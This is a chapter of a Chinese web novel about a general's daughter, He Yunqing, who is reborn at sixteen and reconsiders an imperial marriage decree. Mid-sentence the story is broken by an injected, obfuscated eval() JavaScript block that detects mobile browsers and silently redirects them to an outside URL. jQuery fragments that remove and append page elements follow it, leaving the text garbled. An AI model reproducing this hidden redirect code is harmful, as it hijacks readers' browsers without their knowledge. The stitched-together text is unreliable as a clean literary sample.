2. 开局重生

作品:《浮生为局

    大梁,昭华八年冬,瑞雪惊千里,腊梅醉满城。


    一夜大雪纷纷,将军府门前的两尊雄狮已被积雪掩没了足,张牙舞爪,目光炯炯,静立门侧,看尽门前世态炎凉。


    门前小童正清扫积雪,青石阶梯露出拂净的石纹,朱漆大门上的鎏金门钉熠熠生辉,三间兽头大门,门前有几名差人,正门之上的匾书“将军府”三字金漆鲜亮。


    一名蓝衣家仆急忙跑来,打破了晨间安宁,“不好了!李掌管!大姑娘醒了。”


    老管家呵斥:“姑娘醒了不是好事,你这慌慌张张的,报丧呢?”


    家仆急道:“大姑娘是醒了,醒来吐了一口血,又昏了过去。”


    “什么?”老管家闻言神色一变,又冲着小厮喝:“那你还愣着作甚,快备车,去请大夫。”


    *


    顷刻间,贺府上下顿时乱作一团。冬日寒风猎猎,卷起廊下枯叶,焦急声在院中起伏。


    “快,把炭盆添满!”


    “再去看看大夫来了没!”


    床榻上的少女面色虚弱,流畅的鹅蛋脸消瘦了几分,面容苍白、凹陷,樱唇无色。小巧而挺立的鼻子,眉目间透出一股英气,给人一种清冷的感觉。饱满的额头冷汗涔涔,鬓发湿透贴在脸颊旁,气息微弱,仿佛一阵轻风便能将她带走,单薄而娇艳,看着使人怜爱。


    须臾,家仆匆匆引着一位老大夫赶至闻竹院。


    见大夫到了,管事嬷嬷忙不迭迎上去,连声道:“大夫快请!”


    大夫拢了拢袖口,快步踏入内室。


    屋内暖炉烧得正旺,混着沉香和浓重的药香,沉闷而压抑。大夫人崔氏一袭锦衣华服斜坐在床榻旁,眉间尽是忧色,见大夫进来,立刻起身迎道:“大夫,劳烦您快些瞧瞧,我儿病得来得这般突然……”


    老大夫颔首应下,伸手搭上腕脉,片刻后松开,缓声道:“大夫人放心,大姑娘这是连日未曾进食,受了寒气,又内火攻心,导致吐血。淤血吐出来也好,老夫开个药方,服用几日,应无大碍。”


    崔氏闻言,悬着的心却未放下,捏紧帕子,声音微颤:“可她脸色这般煞白,气息甚微,真只是风寒?”


    老大夫摇头叹:“姑娘虽身体素质良好,但四百四十病,相思病最苦。心病还须心药医,解铃还须系铃人诶!”


    话讫,床榻上的人忽然拧着眉挣扎呢喃起来,“救我……救救我……”


    崔氏轻轻拉住她的手,见她额间涔涔发汗,似是不安,眼中竟是焦急和心疼。


    倏然,沁凉的空气入肺,贺云卿猛地一咳,又一口鲜血喷涌而出。随即一束强光把无尽的黑暗无情地撕裂。


    她有了知觉,身体顿时传来的沉重、无力和冷意。


    她刚刚好像做了一个好长的梦,梦见年幼的自己在山岭里被狼群啃噬,快要死了,那梦真实得几乎可以感受到被撕咬的痛楚。


    而她拼尽最后一口气抓住的救命稻草,居然对上了霍砚川的脸。那一霎,她觉得完了,那人伫立在黑暗中,与夜色混为一体,比嗜血的狼还可怕,定不会无情地将她留她在那荒山野岭里喂狼。


    待眼睛终于适应了青光,一个模糊的身影映入眼帘,娘?


    床榻前的崔氏泪眼婆娑,抚摸着她的脸道,“卿儿!你要是不愿意嫁就不嫁,就算是抗旨,咱也不嫁了!”


    嫁?嫁谁?她不早已经是大梁的皇后了吗?


    她又哄道:“等你阿爹回来,就去和皇上求情!娘知道你心系七殿下,你俩一同长大,青梅竹马。可偏偏世人乱点鸳鸯。”


    贺云卿听得云里雾里,只觉得喉咙有股血腥味,黏腻又如针扎,想发声却无力。


    “姑娘,您不要想不开了,这样七殿下也会心疼的。”彩蝶在一旁啜泣道。


    贺云卿余光看见抹泪的彩蝶,自嘲的笑,什么七殿下?哪还有什么七殿下,须衡早已经不是那个爱她,惜她的翩翩少年郎了。


    也对,彩蝶被害死时,须衡还是她口中的七殿下。她要是知道后面她被须衡逼死,还连累了整个贺家,彩蝶会嘲笑她吧。


    胸口好闷,喉咙火辣辣的,脖子似乎有伤口,如蚂蚁啃食一般刺痛,贺云卿感到自己冷的发颤,颤颤巍巍的伸出手摸着自己的脖子。


    白皙的脖颈,一道刺眼的红。


    嘶……死人还能感觉到疼吗?


    随即一滴滚烫的泪滴滴到她的脸上,那触觉真切的直击她的心脏。


    崔氏又心疼又无奈:“你说你这孩子,对自己这么不爱惜,这刀再深半寸,你命就没了……”


    贺云卿觉得眼前的一切不真实,不知道自己是不是在做梦,生怕只是南柯一梦。但耳边焦急地关切是真,滴在她脸上的泪珠是真,一切一切都是真的!而她的眼睛也看的无比清楚,她的眼睛恢复了?


    她看着眼前的娘亲,忍着喉咙的痛感问道:“娘!今……年是几年?”


    “卿儿,你别吓娘。”崔氏明显一怔,脸色慌乱,伸手探她额间的温度,“今年是昭化八年啊。”


    昭华八年,她才十六岁。


    她本三十五岁,重生到十六岁的时候,陈年旧事早已经模糊了。


    大约记得这年是动荡的前夕,来年东宫太子被罢黜,北狄大军借大荒之灾乘机举旗南下。国库不富裕,打仗就顾不得西北的荒民,西北一带饿骨四野、路多匪盗。而西北部的西岐人同样野心勃勃,不甘俯首称臣。


    祸不单行,一连串的灾事接踵而行,皇上病危,国无储君,西北大军岌岌可危,朝着无人敢请战西北,于是,她随须衡讨伐西岐一族,这一征战就是五载,直到歼灭西岐后,须衡顺利登基,改元号为启元。


    “卿儿,你不要吓为娘,你与翊王之婚事不是没有余地。”贺夫人顺手抚摸女儿的额间鬓发,满眼担忧,语重心长地解释:“翊王本乃元德皇后霍氏同宗,皇上见他年纪虽轻却是学识渊博,为人谦虚和让,本意是想把朝阳郡主赐于他,但不知怎么,太后偏偏在这群适婚的女子中选了你。”


    又是翊王?脑海中浮现出一张模糊的脸,与梦里的身影。


    她蹙眉,虚弱地问道:“翊王?霍国公之子,霍砚川?”


    崔氏耐心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274140|166667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回:“是,他因查南靖侯私屯兵器之事,缴获白银、兵器无数而立了大功。被召回京,封了翊王。”


    贺云卿努力地回忆着霍砚川,可惜她前世不曾与此人有过交集。


    只是偶尔听闻元德皇后霍怜,本是先帝崇暄帝的结发夫妻,帝后琴瑟和鸣。霍皇后坤仪盛德,是个令人爱戴的皇后。只因陷入后宫之争被废,惨死冷宫后。自后霍家门第一落千丈,备受冷落。


    又因十六年前,先帝在行宫驾崩,未来得及传位,当时皇后沈毓携文武百官,拥立新帝。霍国公已长幼顺序,当立旻王须怀明。沈毓当然不悦,要立自己儿子端王称帝。


    最终经过沈氏的暗中操作,端王须怀霁顺利登基。而霍氏一族被贬出京城,无召不得返京,霍国公积郁而死,母氏也相继离去,只留下年幼的霍砚川。


    她都忘记了,她最初赐婚的对象是霍砚川。上一世,是她执意要嫁给须衡,以绝食、自戕相逼。才让阿爹求先皇收回成命,皇上见贺家功勋傍身,即便龙颜不悦也应了。她才如愿嫁给须衡,这个不受宠的皇子。


    她的人生好像很早便与须衡纠缠不清,无论是感情还是家族的羁绊,而这场赐婚事件似乎是个贺家命运的拐点。若按照上一世一般,嫁给须衡,她无疑是打心里的厌恶与抗拒。


    而她上一世临死前,让她看清霍砚川的真面目,说不定,前世他野心勃勃,借着远离京城的幌子,暗中谋略大计。


    他仿佛是一盘棋中一个不起眼的伏子,藏在暗处多年,可见城府颇深,最好还是不要此人同船渡。


    贺云卿扶额,上一世他一门心思扑在须衡身上,真的忽略了太多人和事。


    就在她沉思间,崔氏静静地看着她。她总觉得自家的女儿此次醒来,变化极大,又说不出哪里的不对,总感觉一股强大沉稳的气质中又透露着不容拒绝的气压。


    总之,不像是一个十六岁少女该有的气质,虽然贺家将门出虎女,拿得起长樱,可驾西风烈马,亦可沙场杀敌。可这股成熟稳重的眼神从未见过,知子莫如母,见女掩藏心事,为母也是满腔悲伤。


    贺云卿瞬间就感知到母亲的视线,揉了揉眉心:“娘,此事关系重大,还是等阿爹回府再论吧。”


    她话的口吻仿佛是在凤鸾宫时,不急不慌,仿佛一切皆在掌控中。


    她只觉得现在脑袋昏沉,还没完全理清楚当下状况,一时半会拿不出主意,索性先放一放,现在只要不是嫁给须衡,都不是大事,等睡醒再说。


    崔氏一怔,张了张口终究没问是什么,只是把药递过去,“那先把药喝了,发发汗。大夫说没几日就可痊愈。只是这脖子的伤,万不能碰水。”


    贺云卿点头接过药碗,两三口下肚,苦意从舌苔上骤起,心头却是甜的。崔氏为她掩了掩被角,又命春泽多加些炭火,整个屋子烘的暖洋洋的。


    一屋子的人退出后,床榻旁的沉香袅袅升起,空气中弥漫着一股淡淡的药香。她的眼皮愈发沉重,思绪如同云烟一般缥缈,渐渐模糊。


    朦胧之际,那黑暗席卷而来,不依不饶地将她吞噬……